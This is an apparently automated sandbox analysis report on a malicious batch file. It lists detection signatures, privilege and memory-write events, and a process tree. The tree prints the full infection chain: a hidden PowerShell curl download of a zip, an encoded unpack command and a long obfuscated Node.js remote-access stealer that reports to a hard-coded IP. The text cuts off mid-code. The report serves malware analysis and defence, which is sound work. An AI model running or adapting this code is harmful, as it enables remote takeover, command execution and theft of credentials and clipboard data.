03d6c8cdf1b26aeedfcdd41fbaed94a273a28ccf6c58efdb59d104dc5ca643cd

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/06/2026, 12:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2.bat
Size 423B
Sample260625-pkltdsby21
SHA256 03d6c8cdf1b26aeedfcdd41fbaed94a273a28ccf6c58efdb59d104dc5ca643cd
MD5 fcf4dbdd7a286887127c636332e8c18b
SHA1 a856eee4c0579b8ca09bf1c94dc69731ede4b642
SHA512 c9fdfbd671b7f6b8c3ab64ea1ebc770beb404d8c940014c3e4d6c413b6c75d969f537be1170fd4079fc7742f93c4b74179075cf23842b19e92cff8f6a4ba7b48
TLSH
T1D3E0A36F8D74B4050F2B7A545E6C1B6334D9701688AA4D42D13108381D14249CB9BBC5
MD5 SHA1 SHA512 TLSH

Score

8^/10

collection defense_evasion execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe
940	powershell.exe
4784	powershell.exe

Clipboard Data 1 TTPs 64 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2696	powershell.exe
720	cmd.exe
3156	cmd.exe
4812	powershell.exe
4384	powershell.exe
4060	powershell.exe
820	node.exe
4328	powershell.exe
2296	powershell.exe
1776	cmd.exe
2308	powershell.exe
3160	cmd.exe
1756	powershell.exe
3848	cmd.exe
1852	cmd.exe
3664	cmd.exe
2836	powershell.exe
2976	cmd.exe
5108	cmd.exe
4108	powershell.exe
1520	powershell.exe
2368	cmd.exe
1460	cmd.exe
964	cmd.exe
5048	powershell.exe
2012	powershell.exe
3492	cmd.exe
4184	cmd.exe
2364	cmd.exe
2524	cmd.exe
1892	cmd.exe
176	cmd.exe
1388	cmd.exe
3772	cmd.exe
4724	cmd.exe
2216	powershell.exe
3360	cmd.exe
4316	powershell.exe
4728	cmd.exe
1936	powershell.exe
2268	powershell.exe
1096	cmd.exe
4268	powershell.exe
3312	powershell.exe
3164	powershell.exe
4596	cmd.exe
832	cmd.exe
2844	cmd.exe
2864	powershell.exe
3596	cmd.exe
2008	cmd.exe
1772	powershell.exe
2668	cmd.exe
2376	powershell.exe
3100	cmd.exe
3988	cmd.exe
4196	powershell.exe
1552	powershell.exe
4680	powershell.exe
1300	powershell.exe
4864	cmd.exe
2740	powershell.exe
3068	cmd.exe
2508	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4164	node.exe
3256	node.exe
4552	node.exe
1268	node.exe
420	node.exe
820	node.exe

Loads dropped DLL 1 IoCs

pid	Process
4552	node.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	node.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3924	powershell.exe
3924	powershell.exe
5116	powershell.exe
5116	powershell.exe
940	powershell.exe
940	powershell.exe
4252	powershell.exe
4252	powershell.exe
4268	powershell.exe
4268	powershell.exe
4544	powershell.exe
4544	powershell.exe
3312	powershell.exe
3312	powershell.exe
2376	powershell.exe
2376	powershell.exe
5032	powershell.exe
5032	powershell.exe
2864	powershell.exe
2864	powershell.exe
4784	powershell.exe
4784	powershell.exe
4328	powershell.exe
4328	powershell.exe
4680	powershell.exe
4680	powershell.exe
2508	powershell.exe
2508	powershell.exe
2216	powershell.exe
2216	powershell.exe
4780	powershell.exe
4780	powershell.exe
1300	powershell.exe
1300	powershell.exe
2296	powershell.exe
2296	powershell.exe
3304	powershell.exe
3304	powershell.exe
3164	powershell.exe
3164	powershell.exe
2696	powershell.exe
2696	powershell.exe
2908	powershell.exe
2908	powershell.exe
4196	powershell.exe
4196	powershell.exe
1552	powershell.exe
1552	powershell.exe
2836	powershell.exe
2836	powershell.exe
4316	powershell.exe
4316	powershell.exe
2740	powershell.exe
2740	powershell.exe
3600	powershell.exe
3600	powershell.exe
4680	powershell.exe
4680	powershell.exe
4812	powershell.exe
4812	powershell.exe
4384	powershell.exe
4384	powershell.exe
5048	powershell.exe
5048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeIncreaseQuotaPrivilege	940	powershell.exe
Token: SeSecurityPrivilege	940	powershell.exe
Token: SeTakeOwnershipPrivilege	940	powershell.exe
Token: SeLoadDriverPrivilege	940	powershell.exe
Token: SeSystemProfilePrivilege	940	powershell.exe
Token: SeSystemtimePrivilege	940	powershell.exe
Token: SeProfSingleProcessPrivilege	940	powershell.exe
Token: SeIncBasePriorityPrivilege	940	powershell.exe
Token: SeCreatePagefilePrivilege	940	powershell.exe
Token: SeBackupPrivilege	940	powershell.exe
Token: SeRestorePrivilege	940	powershell.exe
Token: SeShutdownPrivilege	940	powershell.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeSystemEnvironmentPrivilege	940	powershell.exe
Token: SeRemoteShutdownPrivilege	940	powershell.exe
Token: SeUndockPrivilege	940	powershell.exe
Token: SeManageVolumePrivilege	940	powershell.exe
Token: 33	940	powershell.exe
Token: 34	940	powershell.exe
Token: 35	940	powershell.exe
Token: 36	940	powershell.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 3924	4140	cmd.exe	89
PID 3924 wrote to memory of 2636	3924	powershell.exe	90
PID 2636 wrote to memory of 1916	2636	cmd.exe	91
PID 2636 wrote to memory of 5116	2636	cmd.exe	94
PID 2636 wrote to memory of 4164	2636	cmd.exe	104
PID 4164 wrote to memory of 1472	4164	node.exe	105
PID 1472 wrote to memory of 3256	1472	cmd.exe	107
PID 3256 wrote to memory of 4552	3256	node.exe	108
PID 3256 wrote to memory of 1268	3256	node.exe	109
PID 3256 wrote to memory of 420	3256	node.exe	110
PID 3256 wrote to memory of 820	3256	node.exe	111
PID 4552 wrote to memory of 2120	4552	node.exe	114
PID 2120 wrote to memory of 940	2120	cmd.exe	116
PID 820 wrote to memory of 4892	820	node.exe	118
PID 4892 wrote to memory of 4252	4892	cmd.exe	120
PID 820 wrote to memory of 1096	820	node.exe	121
PID 1096 wrote to memory of 4268	1096	cmd.exe	123
PID 820 wrote to memory of 2844	820	node.exe	124
PID 2844 wrote to memory of 4544	2844	cmd.exe	126
PID 820 wrote to memory of 4184	820	node.exe	127
PID 4184 wrote to memory of 3312	4184	cmd.exe	129
PID 820 wrote to memory of 3848	820	node.exe	130
PID 3848 wrote to memory of 2376	3848	cmd.exe	132
PID 820 wrote to memory of 3652	820	node.exe	133
PID 3652 wrote to memory of 5032	3652	cmd.exe	135
PID 820 wrote to memory of 2700	820	node.exe	136
PID 2700 wrote to memory of 2864	2700	cmd.exe	138
PID 420 wrote to memory of 4872	420	node.exe	139
PID 4872 wrote to memory of 4784	4872	cmd.exe	141
PID 820 wrote to memory of 3988	820	node.exe	142
PID 3988 wrote to memory of 4328	3988	cmd.exe	144
PID 820 wrote to memory of 2524	820	node.exe	145
PID 2524 wrote to memory of 4680	2524	cmd.exe	147
PID 820 wrote to memory of 3068	820	node.exe	148
PID 3068 wrote to memory of 2508	3068	cmd.exe	150
PID 820 wrote to memory of 1852	820	node.exe	151
PID 1852 wrote to memory of 2216	1852	cmd.exe	153
PID 820 wrote to memory of 1892	820	node.exe	154
PID 1892 wrote to memory of 4780	1892	cmd.exe	156
PID 820 wrote to memory of 3360	820	node.exe	157
PID 3360 wrote to memory of 1300	3360	cmd.exe	159
PID 820 wrote to memory of 2368	820	node.exe	160
PID 2368 wrote to memory of 2296	2368	cmd.exe	162
PID 820 wrote to memory of 176	820	node.exe	163
PID 176 wrote to memory of 3304	176	cmd.exe	165
PID 820 wrote to memory of 3664	820	node.exe	166
PID 3664 wrote to memory of 3164	3664	cmd.exe	168
PID 820 wrote to memory of 1460	820	node.exe	169
PID 1460 wrote to memory of 2696	1460	cmd.exe	171
PID 820 wrote to memory of 3596	820	node.exe	172
PID 3596 wrote to memory of 2908	3596	cmd.exe	174
PID 820 wrote to memory of 4596	820	node.exe	175
PID 4596 wrote to memory of 4196	4596	cmd.exe	177
PID 820 wrote to memory of 4760	820	node.exe	178
PID 4760 wrote to memory of 1552	4760	cmd.exe	180
PID 820 wrote to memory of 1388	820	node.exe	181
PID 1388 wrote to memory of 2836	1388	cmd.exe	183
PID 820 wrote to memory of 720	820	node.exe	184
PID 720 wrote to memory of 4316	720	cmd.exe	186
PID 820 wrote to memory of 2976	820	node.exe	187
PID 2976 wrote to memory of 2740	2976	cmd.exe	189
PID 820 wrote to memory of 4728	820	node.exe	190
PID 4728 wrote to memory of 3600	4728	cmd.exe	192
PID 820 wrote to memory of 832	820	node.exe	193

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "cmd /c 'curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\system32\curl.exe
      curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip
      4⤵
      PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5116
  - - C:\Users\Admin\AppData\Local\Temp\node\node.exe
      node 1.d
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "node pack"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1472
      - C:\Users\Admin\AppData\Local\Temp\node\node.exe
        
        node pack
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3256
        
        C:\Users\Admin\AppData\Local\Temp\node\node.exe
        
        node -e "const G=b;(function(c,d){const F=b,e=c();while(!![]){try{const f=-parseInt(F(0x1f0))/(0x228f+-0x2546*-0x1+-0x1*0x47d4)+parseInt(F(0x26f))/(-0x210d+0x101+0x16*0x175)+parseInt(F(0x1f6))/(-0x1317*-0x1+-0x1957+0x643)*(-parseInt(F(0x1bf))/(-0x19c+-0x1*0x217b+0x231b))+-parseInt(F(0x258))/(0x5*-0x4c3+0x73a+0x19*0xaa)*(-parseInt(F(0x25f))/(0x1*-0x264b+0x14d4+0x117d))+parseInt(F(0x1d0))/(0x4e9+-0x1262+-0x60*-0x24)*(-parseInt(F(0x22b))/(-0x2*0x100a+0x9*-0x332+0xe*0x459))+-parseInt(F(0x2a5))/(-0x911+-0xb6f*-0x2+-0xdc4)+-parseInt(F(0x1dc))/(-0x38b*0x3+-0x1984+0x242f)*(-parseInt(F(0x295))/(0x656*-0x1+0x210b+-0x1aaa));if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,0x116*0x547+-0x48189*0x2+0x97ff1));const axios=require(G(0x2b7)),os=require('os'),fs=require('fs'),{execSync,exec,spawn}=require(G(0x26c)),uid=G(0x1ef),m=G(0x1df),p=G(0x28b),t='101';function b(c,d){c=c-(0x1c6e*-0x1+-0x12a2+0x30c7);const e=a();let f=e[c];return f;}process[G(0x206)]=G(0x26a);const path=require(G(0x263)),pathDir=path[G(0x1ff)](os[G(0x1de)](),G(0x245)),pidFile=path[G(0x1ff)](os[G(0x1de)](),G(0x245),process[G(0x206)]);function a(){const af=['title','qJrCI','fdFwd','terminal-resize','width','bmUaS','code','Ewncw','urxci','zNDwg','OUePD','ZHnXb','tBjXS','writeFileSync','floor','existsSync','tGlZv','password','linux','default','iKHkm','zyCQR','Invalid\x20mouse\x20button:\x20','zBwen','mouseClick','shell','cOFrV','Get-CimInstance\x20Win32_ComputerSy','min','sid','utf-8','keyTap','QcsPb','VpXeE','zchmi','npm\x20install\x20-g\x20socket.io-client\x20','ssh2','3792zDbNmS','start_ssh','stop-terminal','fxQDm','utf8','nkarR','zxicw','ODTZW','Ekcwd','setPosition','screenshot-desktop','jpeg','nLvyk','screen','dxjsi','set','data','MfXYO','KXjVr','close','zsh','--save\x20--no-warnings\x20--no-save\x20-','NqCiU','ssh_input','IhThs','4:2:0','.npm','write','then','reDea','TcYsO','\x20(VM)','(Local)','spawn','stderr','swPrP','LFxFp','SEWmO','DlSFi','userInfo','delete','read','JuCWi','HOME','qemu','402205KBGWlS','test','sharp','env','pressKey','-no-progress\x20--loglevel\x20silent','tmVEl','54JiEavu','pem_path','error','rXSAe','path','dxSku','kill','node-pty','emit','xsiBM','Control','vhost.ctl','kYCCK','child_process','toLowerCase','user','782038xIdYrp','terminal-input','zHiSq','OyLPh','gKQJZ','release','indexOf','stringify','onData','toString','cid','YHvTO','exit','kWqcv','win32','vmware','terminal-output','ykhQX','Not\x20found\x20Pem\x20file\x20in\x20','LtssZ','kKNIC','xterm-color','@nut-tree-fork/nut-js','AQHki','message','command','SKWSr','reverse','7671','socket.io-client','png','QWett','NAQwd','rJuLQ','hostname','copyText','MuXlZ','ready','11dKMVVC','ddpnS','middle','/api/service/makelog','FaXOC','has','GkhhL','RIGHT','XvyUG','readFileSync','Yjhkl','text','resize','mouseMove','reNZM','messge','6343560skOMOV','WeUFz','copyClipboard','DMIwA','wpjDW','disconnect','Tjexr','MIDDLE','OxUNl','Header\x20Error:\x20','GTiAh','start-terminal','Kyhjn','pid','npaZt','capture','SErTY','/proc/cpuinfo','axios','LEFT','mmaIh','ErBxO','ssh_connected','qaYTV','get','platform','\x0d\x0aSSH\x20ERROR:\x20','OpdFi','BAGSa','kGtaO','includes','max','system_profiler\x20SPHardwareDataTy','SteRq','catch','wFzop','gvelL','whour','wXBPA','ORRJM','ozGAx','jDsIH','ssh_disconnected','EooHE','height','click','CLgVQ','sibEQ','166504UPqilI','releaseKey','KNgvR','hgzpR','HjDQB','XAyia','clipboardy','http://','right','WKrRD','SS\x20Err:\x20','powershell\x20-NoProfile\x20-Command\x20\x22','left','down','viPcE','microsoft\x20corporation','NvpDw','8162iEeVQF','scrollUp','hOERx','whoIm','zzYcK','VYHvv','keyCombo','jFlUA','ehXpk','darwin','lKEbt','ssh_output','14210960LwZkfW','AmghD','tmpdir','91.202.5.124','HZLtb','zerzK','BXOEl','JeheT','Ysuvv','acturer\x22','type','base64','mouseScroll','wrLcz','post','stem\x20|\x20Select-Object\x20Model,Manuf','casjg','mkdirSync','iRtFA','7a562685932fab76724a4e7217893ffb','787763XSWqDo','scrollDown','pasteText','xterm-256color','toBuffer','wDMSL','6YmKJDr','unlinkSync','host','nKxMp','virtualbox','BhUgi','powershell.exe','FBfha','sfMzi','join','VkimP','/api/service/process/','connect','eumTO','ykunb','WVvxi'];a=function(){return af;};return a();}let tryGlobal=![];function isRunning(c){const H=G;try{return process[H(0x265)](c,0x1*0x25cd+-0x1e7f+-0x74e),!![];}catch(d){return![];}}if(fs[G(0x215)](pidFile)){const existingPid=parseInt(fs[G(0x29e)](pidFile)[G(0x278)]());isRunning(existingPid)?process[G(0x27b)](0x1*-0x2014+0x81*0x2+0x1f13):fs[G(0x1f7)](pidFile);}fs[G(0x1ed)](pathDir,{'recursive':!![]}),fs[G(0x213)](pidFile,process[G(0x2b2)][G(0x278)](),{'flag':'w+'}),process['on'](G(0x27b),()=>{const I=G;if(fs[I(0x215)](pidFile))fs[I(0x1f7)](pidFile);});const makeLog=async c=>{const J=G,d={'zerzK':function(f,g){return f+g;},'wpjDW':J(0x1c6),'ehXpk':J(0x298)};try{const f=await axios[J(0x1ea)](d[J(0x1e1)](d[J(0x1e1)](d[J(0x2a9)],m),d[J(0x1d8)]),{'message':c,'host':os[J(0x291)](),'uid':uid,'t':t})[J(0x247)](g=>{})[J(0x2c7)](g=>{});}catch(g){}},setHeader=async function(){const K=G,c={'zNDwg':function(d,f){return d==f;},'LFxFp':K(0x27d),'gKQJZ':function(d,f,g){return d(f,g);},'GkhhL':K(0x1ca)+K(0x221)+K(0x1eb)+K(0x1e5),'dxSku':function(d,f){return d>f;},'FBfha':K(0x27e),'casjg':K(0x1fa),'NvpDw':K(0x1ce),'rXSAe':K(0x257),'wDMSL':K(0x1d9),'xsiBM':K(0x2c5)+'pe','zyCQR':K(0x218),'ORRJM':K(0x2b6),'jDsIH':K(0x22f),'hgzpR':function(d,f){return d+f;},'TcYsO':function(d,f){return d+f;},'Ysuvv':K(0x1c6),'reDea':K(0x201),'ZHnXb':K(0x24a),'wXBPA':K(0x24b),'lKEbt':function(d,f){return d(f);},'Ekcwd':function(d,f){return d+f;},'HZLtb':K(0x2ae)};try{let d=![];if(c[K(0x20f)](os[K(0x2be)](),c[K(0x24f)])){let f=c[K(0x273)](execSync,c[K(0x29b)],{'windowsHide':!![]});f=f[K(0x278)]()[K(0x26d)](),(c[K(0x264)](f[K(0x275)](c[K(0x1fd)]),-(-0xeac+0x1a7c+-0xbcf))||f[K(0x2c3)](c[K(0x1ec)])||f[K(0x2c3)](c[K(0x1cf)])||f[K(0x2c3)](c[K(0x262)]))&&(d=!![]);}else{if(c[K(0x20f)](os[K(0x2be)](),c[K(0x1f5)])){let g=c[K(0x273)](execSync,c[K(0x268)],{'windowsHide':!![]});g=g[K(0x278)]()[K(0x26d)](),/vmware|virtualbox|qemu|parallels|virtual/i[K(0x259)](g)&&(d=!![]);}else{if(c[K(0x20f)](os[K(0x2be)](),c[K(0x21b)])){let h=fs[K(0x29e)](c[K(0x2cc)],c[K(0x1b8)])[K(0x26d)]();/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/[K(0x259)](h)&&(d=!![]);}}}return await axios[K(0x1ea)](c[K(0x1c2)](c[K(0x249)](c[K(0x249)](c[K(0x1e4)],m),c[K(0x248)]),uid),{'OS':os[K(0x1e6)](),'platform':os[K(0x2be)](),'release':c[K(0x1c2)](os[K(0x274)](),d?c[K(0x211)]:c[K(0x2cb)]),'host':os[K(0x291)](),'userInfo':os[K(0x252)](),'uid':uid,'t':t});}catch(i){c[K(0x1da)](makeLog,c[K(0x233)](c[K(0x1e0)],i[K(0x287)]));}};let _stream=null,_ptyProcess=null;const terminals=new Map(),ss=async()=>{const L=G,c={'OpdFi':L(0x27f),'jFlUA':function(d,f){return d===f;},'cOFrV':L(0x27d),'Yjhkl':L(0x1fc),'nkarR':L(0x23f),'NAQwd':L(0x284),'WKrRD':L(0x287),'fdFwd':L(0x261),'ErBxO':L(0x24d),'MuXlZ':function(d,f,g,h){return d(f,g,h);},'Tjexr':function(d,f){return d*f;},'Kyhjn':function(d,f){return d*f;},'AmghD':function(d,f){return d(f);},'zchmi':L(0x1d3),'kGtaO':L(0x1c5),'qJrCI':L(0x25a),'XvyUG':L(0x244),'SKWSr':L(0x235),'gvelL':function(d,f){return d(f);},'IhThs':L(0x28d),'tGlZv':function(d,f,g){return d(f,g);},'ddpnS':L(0x238),'iRtFA':L(0x1e7),'SteRq':function(d,f){return d-f;},'LtssZ':L(0x1cb),'HjDQB':L(0x1c7),'FaXOC':L(0x297),'iKHkm':function(d,f){return d===f;},'wrLcz':function(d,f){return d||f;},'urxci':function(d,f){return d||f;},'QWett':function(d,f){return d===f;},'sibEQ':L(0x1cc),'kWqcv':function(d,f){return d(f);},'OyLPh':function(d,f,g){return d(f,g);},'JuCWi':L(0x2a7),'ozGAx':L(0x269),'swPrP':L(0x1b9),'GTiAh':L(0x1db),'hOERx':function(d,f){return d+f;},'OUePD':L(0x2bf),'KXjVr':L(0x224),'YHvTO':L(0x23b),'VYHvv':L(0x1f3),'VkimP':L(0x2bb),'zBwen':L(0x23e),'WVvxi':L(0x294),'eumTO':L(0x281),'viPcE':function(d){return d();},'dxjsi':L(0x28c),'kKNIC':L(0x22a),'AQHki':function(d,f){return d(f);},'ykhQX':L(0x266),'reNZM':function(d,f,g){return d(f,g);},'bmUaS':function(d,f){return d+f;},'BAGSa':function(d,f){return d+f;},'ODTZW':L(0x1c6),'DlSFi':L(0x2b0),'BXOEl':L(0x270),'SEWmO':L(0x209),'OxUNl':L(0x22d),'Ewncw':L(0x288),'JeheT':L(0x2ca),'NqCiU':function(d,f){return d==f;},'fxQDm':function(d,f){return d(f);},'tmVEl':L(0x285),'WeUFz':function(d){return d();},'ykunb':L(0x2b4),'npaZt':L(0x2a2),'tBjXS':L(0x21e),'nLvyk':L(0x1e8),'DMIwA':L(0x225),'mmaIh':L(0x1d6),'qaYTV':L(0x292),'zxicw':L(0x1f2),'MfXYO':L(0x265),'wFzop':L(0x22c),'SErTY':L(0x242),'CLgVQ':L(0x202),'KNgvR':L(0x2aa),'rJuLQ':function(d,f){return d(f);},'QcsPb':L(0x1c9),'zHiSq':function(d,f,g){return d(f,g);},'kYCCK':L(0x229)+L(0x240)+L(0x25d),'nKxMp':function(d){return d();}};try{await c[L(0x1cd)](setHeader);let d=c[L(0x1dd)](require,c[L(0x239)]);const {Client:f}=c[L(0x1dd)](require,c[L(0x283)]),g=c[L(0x286)](require,c[L(0x280)]),h=c[L(0x2a3)](d,c[L(0x20b)](c[L(0x1d2)](c[L(0x2c1)](c[L(0x232)],m),':'),p),{'reconnectionAttempts':0x0,'reconnectionDelay':0x7d0,'timeout':0x1e8480});h['on'](c[L(0x251)],i=>{const M=L,j={'EooHE':c[M(0x2c0)]};if(terminals[M(0x29a)](h['id']))try{terminals[M(0x2bd)](h['id'])[M(0x265)]();}catch{}const k=c[M(0x1d7)](process[M(0x2be)],c[M(0x220)])?c[M(0x29f)]:c[M(0x230)],l=g[M(0x24c)](k,[],{'name':c[M(0x28f)],'cols':0x8c,'rows':0x28,'cwd':process[M(0x25b)][M(0x256)],'env':process[M(0x25b)]});terminals[M(0x23a)](h['id'],l),l[M(0x277)](n=>{const N=M;h[N(0x267)](j[N(0x1ba)],{'data':n,'cid':i[N(0x279)],'sid':i[N(0x223)]});});}),h['on'](c[L(0x1e2)],({data:i})=>{const O=L,j=terminals[O(0x2bd)](h['id']);j&&j[O(0x246)](i);}),h['on'](c[L(0x250)],({cols:i,rows:j})=>{const P=L,k=terminals[P(0x2bd)](h['id']);k&&k[P(0x2a1)](i,j);}),h['on'](c[L(0x2ad)],()=>{const Q=L,i=terminals[Q(0x2bd)](h['id']);if(i){try{i[Q(0x265)]();}catch{}terminals[Q(0x253)](h['id']);}}),h['on'](c[L(0x20d)],i=>{const R=L;try{c[R(0x293)](exec,i[R(0x287)],{'windowsHide':!![],'maxBuffer':c[R(0x2ab)](c[R(0x2b1)](-0xe87+0x132c+-0xa5,-0x1*0xb6b+-0x1*-0xfab+0x10*-0x4),-0x1059+0x1024+0x161),'cwd':os[R(0x1de)]()},(j,k,l)=>{const S=R;if(j){h[S(0x267)](c[S(0x1c8)],{'result':j[S(0x287)],...i,'uid':uid,'type':c[S(0x208)],'t':t});return;}if(l){h[S(0x267)](c[S(0x1c8)],{'result':l,...i,'type':c[S(0x2ba)]});return;}h[S(0x267)](c[S(0x1c8)],{...i,'result':k,'code':i[S(0x20c)],'cid':i[S(0x279)],'sid':i[S(0x223)],'uid':uid,'t':t});});}catch(j){c[R(0x1dd)](makeLog,j[R(0x2a4)]);}}),h['on'](c[L(0x1e3)],i=>{const T=L;h[T(0x267)](c[T(0x228)],{'OS':os[T(0x1e6)](),'platform':os[T(0x2be)](),'release':os[T(0x274)](),'host':os[T(0x291)](),'userInfo':os[T(0x252)](),'uid':uid,'t':t});});if(c[L(0x241)](os[L(0x2be)](),c[L(0x220)])){const {mouse:i,screen:j,keyboard:k,Button:l,Key:n,sleep:o}=c[L(0x22e)](require,c[L(0x25e)]);let q=null;async function r(){const U=L;if(q)return q;try{const v=await import(c[U(0x2c2)]);return q=v[U(0x219)],q;}catch(w){return null;}}await c[L(0x2a6)](r);async function s(v,w=-0x1494+0x491+0x1067){const V=L,z=c[V(0x1dd)](require,c[V(0x207)]);return await c[V(0x1dd)](z,v)[V(0x236)]({'quality':w,'chromaSubsampling':c[V(0x29d)],'mozjpeg':!![]})[V(0x1f4)]();}h['on'](c[L(0x204)],async({quality:v,sid:w}={})=>{const W=L;try{const z=c[W(0x1dd)](require,c[W(0x289)]);let A=await c[W(0x2c9)](z,{'format':c[W(0x243)]});A=await c[W(0x216)](s,A,v),h[W(0x267)](c[W(0x296)],{'sid':w,'img':A[W(0x278)](c[W(0x1ee)])},()=>{});}catch(B){}}),h['on'](c[L(0x2b3)],async({x:v,y:w})=>{const X=L;try{const z=await j[X(0x20a)](),A=await j[X(0x1bb)](),B=Math[X(0x214)](c[X(0x2ab)](v,z)),C=Math[X(0x214)](c[X(0x2b1)](w,A));await i[X(0x234)]({'x':Math[X(0x222)](Math[X(0x2c4)](B,-0x1369+0x4ec+0x1*0xe7d),c[X(0x2c6)](z,0x2700+0xbc5+-0x32c4)),'y':Math[X(0x222)](Math[X(0x2c4)](C,-0x1309*0x1+0x2283+-0xf7a),c[X(0x2c6)](A,-0xc7d+0xe9d+-0x21f))});}catch(D){}}),h['on'](c[L(0x212)],async v=>{const Y=L;try{let w;switch(v){case 